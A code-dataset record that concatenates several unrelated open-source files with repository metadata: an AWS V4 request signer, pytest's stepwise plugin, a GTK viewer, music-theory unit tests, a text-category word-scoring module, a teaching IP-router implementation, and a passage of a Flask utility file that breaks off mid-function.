null
null
# # Copyright (c) 2021 Seagate Technology LLC and/or its Affiliates # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # For any questions about this software or licensing, # please email opensource@seagate.com or cortx-questions@seagate.com. # """Utility class used for Authentication using V4 signature.""" import hmac import hashlib import urllib import datetime class AWSV4Signer(object): """Generate Authentication headers to validate requests.""" def __init__(self, endpoint, service_name, region, access_key, secret_key): """Initialise config.""" self._endpoint = endpoint self._service_name = service_name self._region = region self._access_key = access_key self._secret_key = secret_key # Helper method. def _get_headers(host, epoch_t, body_256hash): headers = { 'host': host, 'x-amz-content-sha256': body_256hash, 'x-amz-date': AWSV4Signer._get_amz_timestamp(epoch_t) } return headers def _create_canonical_request( self, method, canonical_uri, canonical_query_string, body, epoch_t, host): """Create canonical request based on uri and query string.""" body_256sha_hex = 'UNSIGNED-PAYLOAD' if body: # body has some content. body_256sha_hex = hashlib.sha256(body.encode('utf-8')).hexdigest() self._body_hash_hex = body_256sha_hex headers = AWSV4Signer._get_headers(host, epoch_t, body_256sha_hex) sorted_headers = sorted([k for k in headers]) canonical_headers = "" for key in sorted_headers: canonical_headers += "{}:{}\n".format( key.lower(), headers[key].strip()) signed_headers = "{}".format(";".join(sorted_headers)) canonical_request = method + '\n' + canonical_uri + '\n' + \ canonical_query_string + '\n' + canonical_headers + '\n' + \ signed_headers + '\n' + body_256sha_hex return canonical_request # Helper method. def _sign(key, msg): """Return hmac value based on key and msg.""" return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest() # Helper method. def _getV4SignatureKey(key, dateStamp, regionName, serviceName): """Generate v4 signature. Generate v4 signature based on key, datestamp, region and service name. """ kDate = AWSV4Signer._sign(('AWS4' + key).encode('utf-8'), dateStamp) kRegion = AWSV4Signer._sign(kDate, regionName) kService = AWSV4Signer._sign(kRegion, serviceName) kSigning = AWSV4Signer._sign(kService, 'aws4_request') return kSigning def _create_string_to_sign_v4( self, method='', canonical_uri='', canonical_query_string='', body='', epoch_t='', algorithm='', host='', service='', region=''): """Generates string_to_sign for authorization key generation.""" canonical_request = self._create_canonical_request( method, canonical_uri, canonical_query_string, body, epoch_t, host) credential_scope = AWSV4Signer._get_date(epoch_t) + '/' + \ region + '/' + service + '/' + 'aws4_request' string_to_sign = algorithm + '\n' + \ AWSV4Signer._get_amz_timestamp(epoch_t) + '\n' + \ credential_scope + '\n' + \ hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() return string_to_sign # Helper method. def _get_date(epoch_t): """Return date in Ymd format.""" return epoch_t.strftime('%Y%m%d') # Helper method. def _get_amz_timestamp(epoch_t): """Return timestamp in YMDTHMSZ format.""" return epoch_t.strftime('%Y%m%dT%H%M%SZ') # Helper Helper method for generating request_uri for v4 signing. def fmt_s3_request_uri(bucket_name, object_name): # The URL quoting functions focus on taking program data and making # it safe for use as URL components by quoting special characters # and appropriately encoding non-ASCII text. # urllib.parse.urlencode converts a mapping object or a sequence of # two-element tuples, which may contain str or bytes objects, # to a percent-encoded ASCII text string. # https://docs.python.org/3/library/urllib.parse.html request_uri = '/' + urllib.parse.quote(bucket_name, safe='') + '/' + \ urllib.parse.quote(object_name, safe='') return request_uri # generating AWS v4 Authorization signature def sign_request_v4( self, method=None, canonical_uri='/', canonical_query_string='', body='', epoch_t='', host='', service='', region=''): """Generate authorization signature.""" if method is None: print("method can not be null") return None credential_scope = AWSV4Signer._get_date(epoch_t) + '/' + region + \ '/' + service + '/' + 'aws4_request' headers = AWSV4Signer._get_headers(host, epoch_t, body) sorted_headers = sorted([k for k in headers]) signed_headers = "{}".format(";".join(sorted_headers)) algorithm = 'AWS4-HMAC-SHA256' string_to_sign = self._create_string_to_sign_v4( method, canonical_uri, canonical_query_string, body, epoch_t, algorithm, host, service, region) signing_key = AWSV4Signer._getV4SignatureKey( self._secret_key, AWSV4Signer._get_date(epoch_t), region, service) signature = hmac.new( signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() authorization_header = algorithm + ' ' + 'Credential=' + \ self._access_key + '/' + credential_scope + ', ' + \ 'SignedHeaders=' + signed_headers + \ ', ' + 'Signature=' + signature return authorization_header # generating AWS v4 signature header def prepare_signed_header( self, http_request, request_uri, query_params, body): """ Generate headers used for authorization requests. Parameters: http_request - Any of http verbs: GET, PUT, DELETE, POST request_uri - URL safe resource string, example /bucket_name/object_name query_params - URL safe query param string, example param1=abc&param2=somevalue body - content Returns: headers dictionary with following header keys: Authorization, x-amz-date, and x-amz-content-sha256 Sample usage: headers = AWSV4Signer("http://s3.seagate.com", "cortxs3", 'us-west2', access_key, secret_key).prepare_signed_header( 'PUT', request_uri, query_params, body) """ url_parse_result = urllib.parse.urlparse(self._endpoint) epoch_t = datetime.datetime.utcnow() headers = {'content-type': 'application/x-www-form-urlencoded', 'Accept': 'text/plain'} # Generate the signature and setup Authorization header. headers['Authorization'] = self.sign_request_v4( http_request, request_uri, query_params, body, epoch_t, url_parse_result.netloc, self._service_name, self._region) # Setup std headers headers['x-amz-date'] = AWSV4Signer._get_amz_timestamp(epoch_t) # generated in _create_canonical_request() headers['x-amz-content-sha256'] = self._body_hash_hex return headers
35.7
79
0.602941
97eae18fd20d31a26c2ed3268bb7f7cd547b201c
4,162
py
Python
src/_pytest/stepwise.py
charlesaracil-ulti/pytest
dbd082af961871c59f2dbcda2fcb27faf4fa2ebc
[ "MIT" ]
null
null
null
src/_pytest/stepwise.py
charlesaracil-ulti/pytest
dbd082af961871c59f2dbcda2fcb27faf4fa2ebc
[ "MIT" ]
null
null
null
src/_pytest/stepwise.py
charlesaracil-ulti/pytest
dbd082af961871c59f2dbcda2fcb27faf4fa2ebc
[ "MIT" ]
null
null
null
from typing import List from typing import Optional import pytest from _pytest import nodes from _pytest.config import Config from _pytest.config.argparsing import Parser from _pytest.main import Session from _pytest.reports import TestReport def pytest_addoption(parser: Parser) -> None: group = parser.getgroup("general") group.addoption( "--sw", "--stepwise", action="store_true", dest="stepwise", help="exit on test failure and continue from last failing test next time", ) group.addoption( "--stepwise-skip", action="store_true", dest="stepwise_skip", help="ignore the first failing test but stop on the next failing test", ) @pytest.hookimpl def pytest_configure(config: Config) -> None: config.pluginmanager.register(StepwisePlugin(config), "stepwiseplugin") class StepwisePlugin: def __init__(self, config: Config) -> None: self.config = config self.active = config.getvalue("stepwise") self.session: Optional[Session] = None self.report_status = "" if self.active: assert config.cache is not None self.lastfailed = config.cache.get("cache/stepwise", None) self.skip = config.getvalue("stepwise_skip") def pytest_sessionstart(self, session: Session) -> None: self.session = session def pytest_collection_modifyitems( self, session: Session, config: Config, items: List[nodes.Item] ) -> None: if not self.active: return if not self.lastfailed: self.report_status = "no previously failed tests, not skipping." return already_passed = [] found = False # Make a list of all tests that have been run before the last failing one. for item in items: if item.nodeid == self.lastfailed: found = True break else: already_passed.append(item) # If the previously failed test was not found among the test items, # do not skip any tests. if not found: self.report_status = "previously failed test not found, not skipping." already_passed = [] else: self.report_status = "skipping {} already passed items.".format( len(already_passed) ) for item in already_passed: items.remove(item) config.hook.pytest_deselected(items=already_passed) def pytest_runtest_logreport(self, report: TestReport) -> None: if not self.active: return if report.failed: if self.skip: # Remove test from the failed ones (if it exists) and unset the skip option # to make sure the following tests will not be skipped. if report.nodeid == self.lastfailed: self.lastfailed = None self.skip = False else: # Mark test as the last failing and interrupt the test session. self.lastfailed = report.nodeid assert self.session is not None self.session.shouldstop = ( "Test failed, continuing from this test next run." ) else: # If the test was actually run and did pass. if report.when == "call": # Remove test from the failed ones, if exists. if report.nodeid == self.lastfailed: self.lastfailed = None def pytest_report_collectionfinish(self) -> Optional[str]: if self.active and self.config.getoption("verbose") >= 0 and self.report_status: return "stepwise: %s" % self.report_status return None def pytest_sessionfinish(self, session: Session) -> None: assert self.config.cache is not None if self.active: self.config.cache.set("cache/stepwise", self.lastfailed) else: # Clear the list of failing tests if the plugin is not active. self.config.cache.set("cache/stepwise", [])
33.837398
91
0.600913
2abcc90a1d83dc4d7537d08d2399dff19138b638
2,858
py
Python
view.py
IDA-TUBS/MCC
bbc149796b09d0895d899f3f31e1da199950e85e
[ "BSD-3-Clause" ]
null
null
null
view.py
IDA-TUBS/MCC
bbc149796b09d0895d899f3f31e1da199950e85e
[ "BSD-3-Clause" ]
null
null
null
view.py
IDA-TUBS/MCC
bbc149796b09d0895d899f3f31e1da199950e85e
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python import sys import gi gi.require_version('Gtk', '3.0') from gi.repository import GLib, Gio, Gtk from viewer.window import Window MENU_XML=""" <?xml version="1.0" encoding="UTF-8"?> <interface> <menu id="app-menu"> <section> <item> <attribute name="action">app.open</attribute> <attribute name="label" translatable="yes">_Open</attribute> </item> <item> <attribute name="action">app.quit</attribute> <attribute name="label" translatable="yes">_Quit</attribute> <attribute name="accel">&lt;Primary&gt;q</attribute> </item> </section> </menu> </interface> """ class Application(Gtk.Application): def __init__(self, *args, **kwargs): super().__init__(*args, application_id="org.example.myapp", flags=Gio.ApplicationFlags.HANDLES_COMMAND_LINE, **kwargs) self.window = None self.add_main_option("test", ord("t"), GLib.OptionFlags.NONE, GLib.OptionArg.NONE, "Command line test", None) #TODO let GTK open files? self.add_main_option("pickle", ord("p"), GLib.OptionFlags.NONE, GLib.OptionArg.STRING_ARRAY, "Open pickle file(s)", None) def do_startup(self): Gtk.Application.do_startup(self) action = Gio.SimpleAction.new("open", None) action.connect("activate", self.on_open) self.add_action(action) action = Gio.SimpleAction.new("quit", None) action.connect("activate", self.on_quit) self.add_action(action) builder = Gtk.Builder.new_from_string(MENU_XML, -1) self.set_app_menu(builder.get_object("app-menu")) def do_activate(self): # We only allow a single window and raise any existing ones if not self.window: # Windows are associated with the application # when the last one is closed the application shuts down self.window = Window(application=self, title="MCC Model Viewer") self.window.present() def do_command_line(self, command_line): options = command_line.get_options_dict() # convert GVariantDict -> GVariant -> dict options = options.end().unpack() if "test" in options: # This is printed on the main instance print("Test argument recieved: %s" % options["test"]) self.activate() if 'pickle' in options: for path in options['pickle']: self.window.open_file(path) return 0 def on_open(self, action, param): if self.window: self.window.on_open(action) def on_quit(self, action, param): self.quit() if __name__ == "__main__": app = Application() app.run(sys.argv)
30.084211
76
0.601819
601328b9b0235d26e1d3a3b855b272a0e4163020
5,774
py
Python
textcatvis/distinctive_words.py
cod3licious/textcatvis
2d1befbb27606bc9f965a0a76e205d8d56ee321a
[ "MIT" ]
13
2017-06-18T18:02:39.000Z
2021-02-15T17:04:15.000Z
textcatvis/distinctive_words.py
cod3licious/textcatvis
2d1befbb27606bc9f965a0a76e205d8d56ee321a
[ "MIT" ]
null
null
null
textcatvis/distinctive_words.py
cod3licious/textcatvis
2d1befbb27606bc9f965a0a76e205d8d56ee321a
[ "MIT" ]
1
2018-09-03T14:52:27.000Z
2018-09-03T14:52:27.000Z
from __future__ import unicode_literals, division, print_function, absolute_import import sys import numpy as np from nlputils.dict_utils import invert_dict0, invert_dict2 from nlputils.features import FeatureTransform def distinctive_fun_tpr(tpr, fpr): # to get the development of word occurrences return tpr def distinctive_fun_diff(tpr, fpr): # computes the distinctive score as the difference between tpr and fpr rate (not below 0 though) return np.maximum(tpr - fpr, 0.) def distinctive_fun_tprmean(tpr, fpr): # computes the distinctive score as the mean between the tpr and the difference between tpr and fpr rate return 0.5 * (tpr + np.maximum(tpr - fpr, 0.)) def distinctive_fun_tprmult(tpr, fpr): return tpr * np.maximum(tpr - fpr, 0.) def distinctive_fun_quot(tpr, fpr): # return 1./(1.+np.exp(-tpr/np.maximum(fpr,sys.float_info.epsilon))) return (np.minimum(np.maximum(tpr / np.maximum(fpr, sys.float_info.epsilon), 1.), 4.) - 1) / 3. def distinctive_fun_quotdiff(tpr, fpr): # return 1./(1.+np.exp(-tpr/np.maximum(fpr,sys.float_info.epsilon))) return 0.5 * (distinctive_fun_quot(tpr, fpr) + distinctive_fun_diff(tpr, fpr)) def get_distinctive_words(textdict, doccats, distinctive_fun=distinctive_fun_quotdiff): """ For every category, find distinctive (i.e. `distinguishing') words by comparing how often the word each word occurs in this target category compared to all other categories. Input: - textdict: a dict with {docid: text} - doccats: a dict with {docid: cat} (to get trends in time, cat could also be a year/day/week) - distinctive_fun: which formula should be used when computing the score (default: distinctive_fun_quotdiff) Returns: - distinctive_words: a dict with {cat: {word: score}}, i.e. for every category the words and a score indicating how relevant the word is for this category (the higher the better) you could then do sorted(distinctive_words[cat], key=distinctive_words[cat].get, reverse=True)[:10] to get the 10 most distinguishing words for that category """ # transform all texts into sets of preprocessed words and bigrams print("computing features") ft = FeatureTransform(norm='max', weight=False, renorm=False, identify_bigrams=True, norm_num=False) docfeats = ft.texts2features(textdict) #docfeats = {did: set(docfeats[did].keys()) for did in docfeats} # invert this dict to get for every word the documents it occurs in # word_dids = {word: set(dids) for word, dids in invert_dict1(docfeats).items()} # invert the doccats dict to get for every category a list of documents belonging to it cats_dids = {cat: set(dids) for cat, dids in invert_dict0(doccats).items()} # get a list of all words word_list = list(invert_dict2(docfeats).keys()) # count the true positives for every word and category print("computing tpr for all words and categories") tpc_words = {} for word in word_list: tpc_words[word] = {} for cat in cats_dids: # out of all docs in this category, in how many did the word occur? #tpc_words[word][cat] = len(cats_dids[cat].intersection(word_dids[word])) / len(cats_dids[cat]) # average tf score in the category # (don't just take mean of the list comprehension otherwise you're missing zero counts) tpc_words[word][cat] = sum([docfeats[did][word] for did in cats_dids[cat] if word in docfeats[did]]) / len(cats_dids[cat]) # for every category, compute a score for every word distinctive_words = {} for cat in cats_dids: print("computing distinctive words for category %r" % cat) distinctive_words[cat] = {} # compute a score for every word for word in word_list: # in how many of the target category documents the word occurs tpr = tpc_words[word][cat] if tpr: # in how many of the non-target category documents the word occurs (mean+std) fprs = [tpc_words[word][c] for c in cats_dids if not c == cat] fpr = np.mean(fprs) + np.std(fprs) # compute score distinctive_words[cat][word] = distinctive_fun(tpr, fpr) return distinctive_words def test_distinctive_computations(distinctive_fun=distinctive_fun_diff, fun_name='Rate difference'): """ given a function to compute the "distinctive score" of a word given its true and false positive rate, plot the distribution of scores (2D) corresponding to the different tpr and fpr """ # make a grid of possible tpr and fpr combinations import matplotlib.pyplot as plt x, y = np.linspace(0, 1, 101), np.linspace(1, 0, 101) fpr, tpr = np.meshgrid(x, y) score = distinctive_fun(tpr, fpr) plt.figure() plt.imshow(score, cmap=plt.get_cmap('viridis')) plt.xlabel('FPR$_c(t_i)$') plt.ylabel('TPR$_c(t_i)$') plt.xticks(np.linspace(0, 101, 11), np.linspace(0, 1, 11)) plt.yticks(np.linspace(0, 101, 11), np.linspace(1, 0, 11)) plt.title('Score using %s' % fun_name) plt.colorbar() if __name__ == '__main__': import matplotlib.pyplot as plt test_distinctive_computations(distinctive_fun_tpr, 'TPR') test_distinctive_computations(distinctive_fun_diff, 'Rate Difference') test_distinctive_computations(distinctive_fun_tprmean, 'Mean of TPR and Rate Difference') test_distinctive_computations(distinctive_fun_tprmult, 'TPR weighted Rate Difference') test_distinctive_computations(distinctive_fun_quot, 'Rate Quotient') test_distinctive_computations(distinctive_fun_quotdiff, 'Mean of Rate Quotient and Difference') plt.show()
47.327869
134
0.696571
0085a1c0b5552fdb22ff9f243bdfefa4c0c28bd7
7,192
py
Python
tests/melody_tests/constraints_tests/test_fit_pitch_to_function_constraint.py
dpazel/music_rep
2f9de9b98b13df98f1a0a2120b84714725ce527e
[ "MIT" ]
1
2021-05-06T19:45:54.000Z
2021-05-06T19:45:54.000Z
tests/melody_tests/constraints_tests/test_fit_pitch_to_function_constraint.py
dpazel/music_rep
2f9de9b98b13df98f1a0a2120b84714725ce527e
[ "MIT" ]
null
null
null
tests/melody_tests/constraints_tests/test_fit_pitch_to_function_constraint.py
dpazel/music_rep
2f9de9b98b13df98f1a0a2120b84714725ce527e
[ "MIT" ]
null
null
null
import unittest import math from function.generic_univariate_pitch_function import GenericUnivariatePitchFunction from harmonicmodel.tertian_chord_template import TertianChordTemplate from melody.constraints.contextual_note import ContextualNote from melody.constraints.fit_pitch_to_function_constraint import FitPitchToFunctionConstraint from melody.solver.p_map import PMap from structure.line import Line from structure.note import Note from structure.tempo import Tempo from structure.time_signature import TimeSignature from timemodel.duration import Duration from timemodel.event_sequence import EventSequence from timemodel.offset import Offset from timemodel.position import Position from timemodel.tempo_event import TempoEvent from timemodel.tempo_event_sequence import TempoEventSequence from timemodel.time_signature_event import TimeSignatureEvent from tonalmodel.diatonic_pitch import DiatonicPitch from tonalmodel.diatonic_tone import DiatonicTone from tonalmodel.modality import ModalityType from tonalmodel.pitch_range import PitchRange from tonalmodel.tonality import Tonality from harmoniccontext.harmonic_context import HarmonicContext from melody.constraints.policy_context import PolicyContext import logging import sys class TestFitPitchToFunctionConstraint(unittest.TestCase): logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) # Note: add -s --nologcapture to 'additional arguments in configuration to see logging def setUp(self): pass def tearDown(self): pass def test_sample(self): # index = min(enumerate(self.candidate_pitches), key=lambda x: abs(x[0] - self.function_value))[0] p = [(32, True), (25, True)] lll = min(enumerate(p), key=lambda x: abs(x[1][0])) index = lll[0] print('---v={0}'.format(index)) def test_compute_simple_function_tone(self): print('--- test_compute_simple_function_tone ---') line = Line() f = GenericUnivariatePitchFunction(TestFitPitchToFunctionConstraint.sinasoidal, Position(0), Position(2)) v_note = Note(DiatonicPitch.parse('A:4'), Duration(1, 32)) line.pin(v_note, Offset(0)) constraint, lower_policy_context = TestFitPitchToFunctionConstraint.build_simple_constraint(v_note, f, ModalityType.Major, 'G', 'tV') p_map = PMap() p_map[v_note] = ContextualNote(lower_policy_context) results = constraint.values(p_map, v_note) assert results is not None assert len(results) == 1 print(next(iter(results)).diatonic_pitch) assert 'C:4' == str(next(iter(results)).diatonic_pitch) v_note = Note(DiatonicPitch.parse('A:4'), Duration(1, 32)) line.pin(v_note, Offset(1, 32)) constraint, lower_policy_context = TestFitPitchToFunctionConstraint.build_simple_constraint(v_note, f, ModalityType.Major, 'G', 'tV') p_map = PMap() p_map[v_note] = ContextualNote(lower_policy_context) results = constraint.values(p_map, v_note) assert results is not None assert len(results) == 1 print(next(iter(results)).diatonic_pitch) assert 'E:4' == str(next(iter(results)).diatonic_pitch) p_map[v_note].note = next(iter(results)) assert constraint.verify(p_map) def test_compute_with_minor_key(self): print('-- test_compute_with_minor_key ---') line = Line() f = GenericUnivariatePitchFunction(TestFitPitchToFunctionConstraint.sinasoidal, Position(0), Position(2)) v_notes = [Note(DiatonicPitch.parse('A:4'), Duration(1, 16)) for _ in range(0, 33)] for i in range(0, 33): line.pin(v_notes[i], Offset(i, 16)) constraint, lower_policy_context = \ TestFitPitchToFunctionConstraint.build_simple_constraint(v_notes[0], f, ModalityType.NaturalMinor, 'C', 'tV') constraints = list() constraints.append(constraint) for i in range(1, 33): c, _ = \ TestFitPitchToFunctionConstraint.build_simple_constraint(v_notes[i], f, ModalityType.NaturalMinor, 'C', 'tV') constraints.append(c) p_map = PMap() p_map[v_notes[0]] = ContextualNote(lower_policy_context) results = constraint.values(p_map, v_notes[0]) assert results is not None assert len(results) == 1 print(next(iter(results)).diatonic_pitch) assert 'C:4' == str(next(iter(results)).diatonic_pitch) result_pitches = [] for i in range(0, 33): p_map = PMap() p_map[v_notes[i]] = ContextualNote(lower_policy_context) results = constraints[i].values(p_map, v_notes[i]) result_pitches.append(next(iter(results)).diatonic_pitch) assert len(result_pitches) == 33 for i in range(0, 33): print('[{0}] {1}'.format(i, str(result_pitches[i]))) # checks = ['C:4', 'Ab:4', 'D:5', 'F:5', 'G:5', 'F:5', 'D:5', 'Ab:4', 'C:4'] checks = ['C:4', 'G:4', 'D:5', 'F:5', 'G:5', 'F:5', 'D:5', 'G:4', 'C:4'] for i in range(0, len(checks)): assert checks[i] == str(result_pitches[i]) BASE = DiatonicPitch.parse('C:4').chromatic_distance @staticmethod def sinasoidal(v): return TestFitPitchToFunctionConstraint.BASE + 19 * math.sin(2 * math.pi * v) @staticmethod def policy_creator(modality_type, modality_tone, tertian_chord_txt, low_pitch_txt, hi_pitch_txt): diatonic_tonality = Tonality.create(modality_type, modality_tone) chord = TertianChordTemplate.parse(tertian_chord_txt).create_chord(diatonic_tonality) hc = HarmonicContext(diatonic_tonality, chord, Duration(1, 2)) pitch_range = PitchRange(DiatonicPitch.parse(low_pitch_txt).chromatic_distance, DiatonicPitch.parse(hi_pitch_txt).chromatic_distance) return PolicyContext(hc, pitch_range) @staticmethod def build_simple_constraint(v_note, f, modality_type, key_str, chord_str): lower_policy_context = TestFitPitchToFunctionConstraint.policy_creator(modality_type, DiatonicTone(key_str), chord_str, 'C:2', 'C:8') tempo_seq = TempoEventSequence() ts_seq = EventSequence() tempo_seq.add(TempoEvent(Tempo(60, Duration(1, 4)), Position(0))) ts_seq.add(TimeSignatureEvent(TimeSignature(3, Duration(1, 4), 'sww'), Position(0))) return FitPitchToFunctionConstraint(v_note, f, tempo_seq, ts_seq), lower_policy_context if __name__ == "__main__": unittest.main()
43.587879
119
0.635011
815d4348248157beed179b0fc89a4d9c53490724
774
py
Python
tests/functional/scripts/pyi_lib_PIL_img_conversion.py
BearerPipelineTest/pyinstaller
0de9d6cf1701689c53161610acdab143a76d40b5
[ "Apache-2.0" ]
null
null
null
tests/functional/scripts/pyi_lib_PIL_img_conversion.py
BearerPipelineTest/pyinstaller
0de9d6cf1701689c53161610acdab143a76d40b5
[ "Apache-2.0" ]
null
null
null
tests/functional/scripts/pyi_lib_PIL_img_conversion.py
BearerPipelineTest/pyinstaller
0de9d6cf1701689c53161610acdab143a76d40b5
[ "Apache-2.0" ]
null
null
null
#----------------------------------------------------------------------------- # Copyright (c) 2005-2022, PyInstaller Development Team. # # Distributed under the terms of the GNU General Public License (version 2 # or later) with exception for distributing the bootloader. # # The full license is in the file COPYING.txt, distributed with this software. # # SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception) #----------------------------------------------------------------------------- import sys import os import PIL.Image # Disable "leaking" the installed version. PIL.Image.__file__ = '/' # Convert tiff to png. basedir = sys._MEIPASS im = PIL.Image.open(os.path.join(basedir, "tinysample.tiff")) im.save(os.path.join(basedir, "tinysample.png"))
32.25
78
0.600775
3e69033514e8d5f6e203cba88b6a9f4ba29668c6
4,029
py
Python
t5/myip.py
LorhanSohaky/matias.exe
367157ff330901f9b736d71315d92cab2ad7c50c
[ "MIT" ]
2
2019-10-31T03:51:49.000Z
2019-12-03T00:53:50.000Z
t3/myip.py
LorhanSohaky/matias.exe
367157ff330901f9b736d71315d92cab2ad7c50c
[ "MIT" ]
null
null
null
t3/myip.py
LorhanSohaky/matias.exe
367157ff330901f9b736d71315d92cab2ad7c50c
[ "MIT" ]
3
2019-09-03T00:48:16.000Z
2019-10-22T17:47:06.000Z
from myiputils import * from mytcputils import * from ipaddress import ip_network, ip_address from random import randint def make_icmp(datagrama): unused = 0 checksum = 0 tipo = 11 codigo = 0 payload = datagrama[:28] comprimento = 8 + len(payload) icmp = struct.pack('!bbhi', tipo, codigo, checksum, comprimento) + payload checksum = twos_comp(calc_checksum(icmp), 16) icmp = struct.pack('!bbhi', tipo, codigo, checksum, comprimento) + payload return icmp class CamadaRede: def __init__(self, enlace): """ Inicia a camada de rede. Recebe como argumento uma implementação de camada de enlace capaz de localizar os next_hop (por exemplo, Ethernet com ARP). """ self.callback = None self.enlace = enlace self.enlace.registrar_recebedor(self.__raw_recv) self.meu_endereco = None self.tabela = None def __raw_recv(self, datagrama): dscp, ecn, identification, flags, frag_offset, ttl, proto, \ src_addr, dst_addr, payload = read_ipv4_header(datagrama) if dst_addr == self.meu_endereco: # atua como host if proto == IPPROTO_TCP and self.callback: self.callback(src_addr, dst_addr, payload) else: # atua como roteador ttl = ttl - 1 next_hop = self._next_hop(dst_addr) if ttl > 0: header = make_ipv4_header(len(payload), src_addr, dst_addr, dscp, ecn, identification, flags, frag_offset, ttl, proto, verify_checksum=True) datagrama = header + payload self.enlace.enviar(datagrama, next_hop) else: next_hop = self._next_hop(src_addr) icmp = make_icmp(datagrama) new_header = make_ipv4_header(len(icmp), self.meu_endereco, src_addr, dscp, ecn, identification, flags, frag_offset, randint(100,255), IPPROTO_ICMP, verify_checksum=True) self.enlace.enviar(new_header+icmp, next_hop) def _next_hop(self, dest_addr): # TODO: Use a tabela de encaminhamento para determinar o próximo salto # (next_hop) a partir do endereço de destino do datagrama (dest_addr). # Retorne o next_hop para o dest_addr fornecido. dest_addr = ip_address(dest_addr) for item in self.tabela: network = item[0] if dest_addr in network: return str(item[1]) return None def definir_endereco_host(self, meu_endereco): """ Define qual o endereço IPv4 (string no formato x.y.z.w) deste host. Se recebermos datagramas destinados a outros endereços em vez desse, atuaremos como roteador em vez de atuar como host. """ self.meu_endereco = meu_endereco def definir_tabela_encaminhamento(self, tabela): """ Define a tabela de encaminhamento no formato [(cidr0, next_hop0), (cidr1, next_hop1), ...] Onde os CIDR são fornecidos no formato 'x.y.z.w/n', e os next_hop são fornecidos no formato 'x.y.z.w'. """ # AQUI A MÁGICA!!! self.tabela = [(ip_network(item[0]), ip_address(item[1])) for item in tabela] self.tabela.sort(key=lambda tup: tup[0].prefixlen) self.tabela.reverse() def registrar_recebedor(self, callback): """ Registra uma função para ser chamada quando dados vierem da camada de rede """ self.callback = callback def enviar(self, segmento, dest_addr): """ Envia segmento para dest_addr, onde dest_addr é um endereço IPv4 (string no formato x.y.z.w). """ next_hop = self._next_hop(dest_addr) header = make_ipv4_header( len(segmento), self.meu_endereco, dest_addr, verify_checksum=True) self.enlace.enviar(header+segmento, next_hop)
36.963303
131
0.610325
d60ce2f1f3161e3b514fd11f5a8f3593864a1864
908
py
Python
Leetcode_palindrome.py
gouthi007/Problems-Solution
281023be2025bfe865d26b3b7dc64c92d148a5cc
[ "MIT" ]
null
null
null
Leetcode_palindrome.py
gouthi007/Problems-Solution
281023be2025bfe865d26b3b7dc64c92d148a5cc
[ "MIT" ]
null
null
null
Leetcode_palindrome.py
gouthi007/Problems-Solution
281023be2025bfe865d26b3b7dc64c92d148a5cc
[ "MIT" ]
null
null
null
""" Determine whether an integer is a palindrome. An integer is a palindrome when it reads the same backward as forward. Example 1: Input: 121 Output: true Example 2: Input: -121 Output: false Explanation: From left to right, it reads -121. From right to left, it becomes 121-. Therefore it is not a palindrome. Example 3: Input: 10 Output: false Explanation: Reads 01 from right to left. Therefore it is not a palindrome. """ class Solution: def isPalindrome(self, x): """ :type x: int :rtype: bool """ #print(id(x)) x = str(x) #print(id(x)) temp = str(x) #rint(id(temp)) temp = temp[::-1] #print(id(temp)) if x.lstrip() == temp.lstrip(): return (True) else: return (False) solution = Solution() print(solution.isPalindrome(12321))
23.282051
119
0.575991
6f0160c082d00356898a61a7bc625c846aa32384
14,777
py
Python
testtrail/examples/util.py
hongzhangMu/testrun
39b573c26b24733383d840c6d89a6b22e758ad5d
[ "MIT" ]
null
null
null
testtrail/examples/util.py
hongzhangMu/testrun
39b573c26b24733383d840c6d89a6b22e758ad5d
[ "MIT" ]
null
null
null
testtrail/examples/util.py
hongzhangMu/testrun
39b573c26b24733383d840c6d89a6b22e758ad5d
[ "MIT" ]
null
null
null
#-*-coding:utf-8-*- import json from flask import make_response import datetime,time from math import sin, asin, cos, radians, fabs, sqrt from testtrail.examples.allroadstime import * from testtrail.models.trail import Trail from testtrail.models.test_roads_name import TestRoadsName from testtrail.models.roadname import Roadname import numpy as np def built_response(code, msg, data): """ 根据code,msg,data构造合适的返回数据 :param code: 状态码 :param msg: 消息 :param data: 数据 :return: 构造好的数据,可以直接返回 """ res = dict(code=code, msg=msg, data=data) rsp = make_response(json.dumps(res)) rsp.headers['Access-Control-Allow-Origin'] = '*' rsp.headers['Access-Control-Allow-Headers'] ='Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild' rsp.headers['Access-Control-Allow-Methods'] ='PUT,POST,GET,DELETE,OPTIONS' rsp.headers['Content-Type'] = 'application/json;charset=utf-8' return rsp def built_resp(code, msg, data,nowspeed,speed,stopcishu,stoptime): """ 根据code,msg,data构造合适的返回数据 :param code: 状态码 :param msg: 消息 :param data: 数据 :return: 构造好的数据,可以直接返回 """ res = dict(code=code, msg=msg, data=data,nowspeed=nowspeed,speed=speed,stopcishu=stopcishu,stoptime=stoptime) rsp = make_response(json.dumps(res)) rsp.headers['Access-Control-Allow-Origin'] = '*' rsp.headers['Access-Control-Allow-Headers'] ='Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild' rsp.headers['Access-Control-Allow-Methods'] ='PUT,POST,GET,DELETE,OPTIONS' rsp.headers['Content-Type'] = 'application/json;charset=utf-8' return rsp # 分割字符 def str2list(str): if str == '': return [] else: return str.split(',') def str2intList(str): if str == '': return [] else: return [int(each) for each in str.split(',')] def time2str(strtime): year = datetime.datetime.now().year mon = datetime.datetime.now().month day = datetime.datetime.now().day tss1 = str(year)+"-"+str(mon)+"-"+str(day)+" "+strtime timeArray = time.strptime(tss1, "%Y-%m-%d %H:%M:%S") timeStamp = int(time.mktime(timeArray)) print(timeStamp) return timeStamp def hav(theta): s = sin(theta / 2) return s * s def get_distance_hav(lat0, lng0, lat1, lng1): try: EARTH_RADIUS = 6371 distance = 0 "用haversine公式计算球面两点间的距离。" # 经纬度转换成弧度 lat0 = float(lat0) lat1 = float(lat1) lng0 = float(lng0) lng1 = float(lng1) lat0 = radians(lat0) lat1 = radians(lat1) lng0 = radians(lng0) lng1 = radians(lng1) 